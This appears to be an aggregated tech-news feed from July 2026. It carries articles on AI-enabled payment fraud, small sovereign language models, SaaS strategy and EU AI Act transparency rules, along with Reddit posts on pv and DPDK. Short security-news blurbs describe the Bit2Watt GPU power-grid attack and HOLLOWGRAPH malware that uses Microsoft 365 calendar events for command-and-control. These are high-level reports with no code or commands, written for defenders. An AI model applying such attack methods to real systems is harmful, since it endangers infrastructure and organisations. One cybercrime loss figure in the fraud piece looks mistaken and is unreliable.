The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. Global payment fraud reached $33.4 billion in 2024 according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025 (up from $16 million in 2023), while Deloitte projects AI-enabled fraud in the US will hit $40 billion by 2027. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.

For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.

Reconnaissance at scale: How AI redraws the attacker’s map

The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of Automox, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”

The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.

The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.

Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.

Fragmented command: The structural vulnerability AI exploits

Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.

A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.

Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.

“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product & Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of security depends on unified intelligence — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.

“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.

Unified command: From org chart to battle plan

Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.

That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.

The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.

Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”

Field manual: What winning institutions do differently

The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.

Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Small models, sovereign advantage: Why Australia should build its own AI edge
Tue, 21 Jul 2026 12:03:22 +0200

For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.

That model is the small language model (SLM): Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.

The problem with renting intelligence

Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.

That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.

An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.

I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.

Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.

Why “small” is the strategic choice, not the compromise

There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: Microsoft’s Phi-4 family of small models, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.

For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.

That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.

The public sector’s hidden advantage

Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.

A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: The APS AI Plan, released in November 2025, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.

Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.

Done well, this isn’t just an efficiency play. It’s a sovereignty play. As GovTech Review has noted, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.

Why this belongs in the innovation budget, not the IT budget

The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.

That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.

Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?

The opportunity in front of us

The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.

Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

SaaS will survive, but lazy SaaS is dead
Tue, 21 Jul 2026 11:05:13 +0200

Something interesting happened during an internal evaluation of AI meeting transcription tools at Tungsten Automation. The products worked. They weren’t bad. But sitting across from the pricing, we kept asking the same question: what exactly are we paying for? 

We already had a secure enterprise AI environment. Building a meeting summary workflow took days, not months. We customized the outputs, injected our own internal context, and controlled security our way instead of working around someone else’s roadmap. We built it. It works better. We own it.

That’s not a knock on those vendors. It’s a signal of something more fundamental happening across enterprise software.

The moat was never the product

For two decades, SaaS rode a favorable asymmetry: building internal tools was hard, integrations were messy, and even modest automation required developers and long timelines. Buying was faster and cheaper than building. That asymmetry fueled the explosion of SaaS into every corner of the enterprise stack.

AI is collapsing that asymmetry. Large language models and agentic workflows can orchestrate APIs, move data between systems, generate interfaces, and automate business logic with a fraction of the engineering effort required even two years ago. The integration friction that once protected entire product categories is evaporating.

The vendors most exposed are not the deeply embedded enterprise platforms. They’re the lightweight workflow layers, the products that essentially put a polished interface on top of accessible data and relatively straightforward processes. Reporting dashboards. Meeting tools. Narrow productivity applications. These products created value by simplifying implementation. That rationale is getting harder to sustain when implementation is no longer the real barrier.

Here’s the part most analyses miss: it’s not just that AI makes development faster. It’s that agents change the integration model entirely. For 30 years, enterprise software was built for humans navigating UIs. Agentic systems don’t use UIs. They call APIs, read from multiple sources simultaneously, and move data freely across systems. The switching costs that once made incumbent software sticky are collapsing, because an agent doesn’t care which UI it used last quarter.

The SaaS that survives

The question isn’t whether SaaS survives. It’s which SaaS survives.

The companies with durable positions are not the ones with the cleanest interface. They’re the ones that transfer operational risk customers genuinely cannot absorb themselves. Compliance. Regulatory certification. Accumulated domain expertise. Liability.

Think about compliant invoicing across 140 countries. That’s not a workflow someone builds in a sprint. The certifications alone take years. A single regulatory change in one jurisdiction can break an AP process for a global enterprise overnight. Customers don’t pay for that capability because it’s technically complex. They pay because they cannot afford to own the risk of getting it wrong.

That’s the distinction that matters: AI lowers the cost of building software. It does not lower the cost of absorbing risk. The vendors who understand this are building durable businesses. The ones who don’t are quietly subsidizing their customers’ internal build programs.

Software sells features. Platforms sell accountability.

The prototype trap

The danger for enterprise buyers right now is overcorrection. Every successful prototype looks like a cost-saving opportunity. Very few survive the jump to production.

Building a workflow with generative AI is becoming straightforward. Maintaining it is not. Models evolve. Outputs drift. Governance requirements tighten. What worked cleanly in a controlled environment behaves differently at scale, and the failure mode is worse than traditional software. Rule-based automation, when it fails, fails obviously. Agents fail silently, confidently, at scale, often with a completely reasonable-sounding explanation.

Engineering teams that take on AI-powered systems need to solve for observability, model drift, access controls, audit trails, and long-term maintenance ownership. In regulated industries, they need to demonstrate exactly how the system reached every decision. That’s not a weekend project. That’s an ongoing operational commitment that compounds over time as models change and regulatory requirements evolve.

Before a team decides to replace an external platform with internal AI tooling, the honest question isn’t, “Can we build this?” The real question is, “Are we prepared to own this in production, for years, as the underlying models change beneath us?” Sometimes the answer is yes. Often the answer is no, and the true cost only becomes visible after the vendor contract is canceled.

Build vs. partner: a sharper frame

The build vs. buy framing has always been too binary. The right question is build vs. partner.

Partner for the capabilities where risk transfer, regulatory complexity, and domain expertise create genuine value your team cannot replicate. Build for the capabilities that actually differentiate your business from your competitors. Don’t burn your best engineers rebuilding compliant invoice processing or production-grade document extraction. Those aren’t competitive advantages. They’re table stakes, and someone else has already paid the cost, across decades, to make them reliable.

The organizations getting this right are honest about where they create unique value. They focus development there, and partner for everything else. The ones getting it wrong are vibe-coding solutions to non-differentiating problems while their actual competitive moat goes unattended.

The true value of software

We’re not watching the death of SaaS. We’re watching the end of the friction-based value proposition: the idea that software is worth renewing because integration used to be painful. That rationale is largely gone.

What survives is software that does something customers cannot reasonably replicate internally: absorb risk, maintain regulatory compliance, deliver operational reliability at scale, and bring genuine domain expertise into a production-grade system that someone else already stress-tested for years.

The vendors who recognize this are already repositioning around accountability, governance, and outcomes. The ones who haven’t will find the next renewal conversation noticeably harder.

Software sells features. Platforms sell accountability. That distinction is about to separate a lot of winners from a lot of cautionary tales.

—

New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.

Bit2Watt GPU Attack Uses LLM Training Workloads to Destabilize Data Center Power Grids
Tue, 21 Jul 2026 08:38:14 +0200
Researchers have disclosed Bit2Watt, a cyber-physical attack concept that turns legitimate GPU workloads into a mechanism for disrupting power infrastructure. The technique manipulates GPU power consumption at high frequencies, potentially degrading power quality in data centers connected to renewable-heavy electrical grids. Unlike conventional attacks on industrial control systems, Bit2Watt does not require attackers to compromise […]
The post Bit2Watt GPU Attack Uses LLM Training Workloads to Destabilize Data Center Power Grids appeared first on Cyber Security News.

Bit2Watt Attack Turns AI Data Centers Into Cyber-Physical Threats to Local Power Grids
Tue, 21 Jul 2026 08:24:13 +0200
Bit2Watt is a newly disclosed cyber‑physical attack class that weaponizes AI and GPU workloads in modern data centers to destabilize nearby power grids, turning compute infrastructure itself into a grid‑scale threat surface. Measurements on NVIDIA accelerators show sub‑millisecond power ramps…
Read more →
The post Bit2Watt Attack Turns AI Data Centers Into Cyber-Physical Threats to Local Power Grids appeared first on IT Security News.

Bit2Watt Attack Turns AI Data Centers Into Cyber-Physical Threats to Local Power Grids
Tue, 21 Jul 2026 07:51:15 +0200
Bit2Watt is a newly disclosed cyber‑physical attack class that weaponizes AI and GPU workloads in modern data centers to destabilize nearby power grids, turning compute infrastructure itself into a grid‑scale threat surface. Measurements on NVIDIA accelerators show sub‑millisecond power ramps where a single Volta V100 or RTX‑series GPU swings from low-load phases to near‑TDP draw, […]
The post Bit2Watt Attack Turns AI Data Centers Into Cyber-Physical Threats to Local Power Grids appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

PR3TACK preemptive framework maps threats before attackers use them
Tue, 21 Jul 2026 07:37:33 +0200
Defensive frameworks in cybersecurity record what attackers have already done. Analysts study a breach, document the method, and build detections around confirmed activity. This cycle leaves a gap between the moment an attacker invents a technique and the moment defenders…
Read more →
The post PR3TACK preemptive framework maps threats before attackers use them appeared first on IT Security News.

HOLLOWGRAPH Malware Turns Microsoft 365 Calendar Events Into Covert Command-and-Control Channels
Tue, 21 Jul 2026 07:37:30 +0200
HOLLOWGRAPH, a Windows malware implant that transforms Microsoft 365 calendar events into a covert command-and-control channel. This malware, which is highly likely linked to the Cavern modular backdoor framework, utilizes the Microsoft Graph API to retrieve tasks from operators and…
Read more →
The post HOLLOWGRAPH Malware Turns Microsoft 365 Calendar Events Into Covert Command-and-Control Channels appeared first on IT Security News.

PR3TACK preemptive framework maps threats before attackers use them
Tue, 21 Jul 2026 07:24:38 +0200
Defensive frameworks in cybersecurity record what attackers have already done. Analysts study a breach, document the method, and build detections around confirmed activity. This cycle leaves a gap between the moment an attacker invents a technique and the moment defenders learn to catch it. PR3TACK, the Preemptive Tactics and Countermeasures Knowledgebase, aims to close that gap. Vishal Thakur of Atlassian built the open framework that catalogs plausible attacker tactics, techniques, and procedures that remain unobserved … More →
The post PR3TACK preemptive framework maps threats before attackers use them appeared first on Help Net Security.

HOLLOWGRAPH Malware Turns Microsoft 365 Calendar Events Into Covert Command-and-Control Channels
Tue, 21 Jul 2026 07:24:21 +0200
HOLLOWGRAPH, a Windows malware implant that transforms Microsoft 365 calendar events into a covert command-and-control channel. This malware, which is highly likely linked to the Cavern modular backdoor framework, utilizes the Microsoft Graph API to retrieve tasks from operators and to exfiltrate stolen data via a compromised Microsoft 365 mailbox. This technique enables malicious communications […]
The post HOLLOWGRAPH Malware Turns Microsoft 365 Calendar Events Into Covert Command-and-Control Channels appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The EU’s AI transparency deadline is weeks away. Is your enterprise ready?
Tue, 21 Jul 2026 04:02:28 +0200

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance 

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

TIL about `pv --watchfd`
Tue, 21 Jul 2026 03:56:30 +0200
Useful if you forget to use pv at all, or, recently, when I ran pv and didn't notice for probably 10-20% of the file that the progress bar was missing. Previously, I've resorted to tricks like
 mkfifo pipe pv ... > pipe 
 in separate terminals, so that I'd get a useful pv progress bar.
 But since the pipeline was this far along, I thought I'd look up that pv --remote option, and found pv --watchfd instead. Should be able to watch anything doing big sequential file reads, not just pv itself!

   submitted by    /u/SanityInAnarchy  
 [link]   [comments]

Looking for guidance on moving my low-latency C++ project from AF_PACKET to real DPDK kernel bypass
Tue, 21 Jul 2026 03:56:19 +0200
Hi everyone,
 I've been building a low-latency C++20 trading engine as a learning project over the past few months, and I'm now planning the next major version. I'd appreciate some guidance from people with DPDK or low-latency networking experience.
 GitHub:
 https://github.com/Shivfun99/Pulse-Order
 past posts:
 https://www.reddit.com/r/quantindia/s/u45s60B33Q
 https://www.reddit.com/r/quant/s/IHKVkv0UGv
 Current Version (V1)
 The project currently includes:
  Binary market data parsing
 Level 2 order book
 Strategy + risk checks
 DPDK-based packet processing experiments
 AF_PACKET backend for packet RX/TX
 Cache-friendly C++20 implementation
 Lock-free queues
 Application-side latency benchmarking
 Scenario testing and benchmarking framework

 Current latency (application-side RX → TX enqueue) is in the sub-microsecond range under the benchmark setup, but I understand this is not true wire-to-wire latency since it doesn't involve a physical DPDK-supported NIC.
 What I want to build in V2
 I want to move to a real DPDK kernel-bypass architecture using a physical NIC instead of AF_PACKET.
 My goals are:
  Real kernel bypass using DPDK
 VFIO-bound NIC
 Poll Mode Driver (PMD)
 Physical RX/TX queues
 End-to-end latency measurement
 Hardware timestamping (later)
 Multi-queue support
 Real market-data replay
 Accurate p99/p99.9 latency analysis

 My situation
 At the moment I only have an ASUS TUF Gaming A15 laptop running Ubuntu. I don't have a desktop or server.
 From what I've read, it seems server NICs like the Intel X520/X710/I350 require PCIe, which laptops generally don't provide.
 My questions
  Is there any practical way to use a real DPDK-supported NIC with only this laptop?
 Would you recommend moving to a desktop before attempting real kernel bypass?
 What hardware would you buy if you were starting today on a limited budget?
 Are there any good open-source examples that demonstrate a complete RX → processing → TX pipeline with DPDK?
 If you were designing the next version of this project, what features would you prioritize?

 I'm building this primarily to learn low-latency systems and HFT infrastructure, so I'd really appreciate any advice, recommended hardware, papers, repositories, or common mistakes to avoid.
 Thanks!

   submitted by    /u/Federal_Tackle3053  
 [link]   [comments]

The EU’s AI transparency deadline is weeks away. Is your enterprise ready?
Tue, 21 Jul 2026 03:48:17 +0200

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

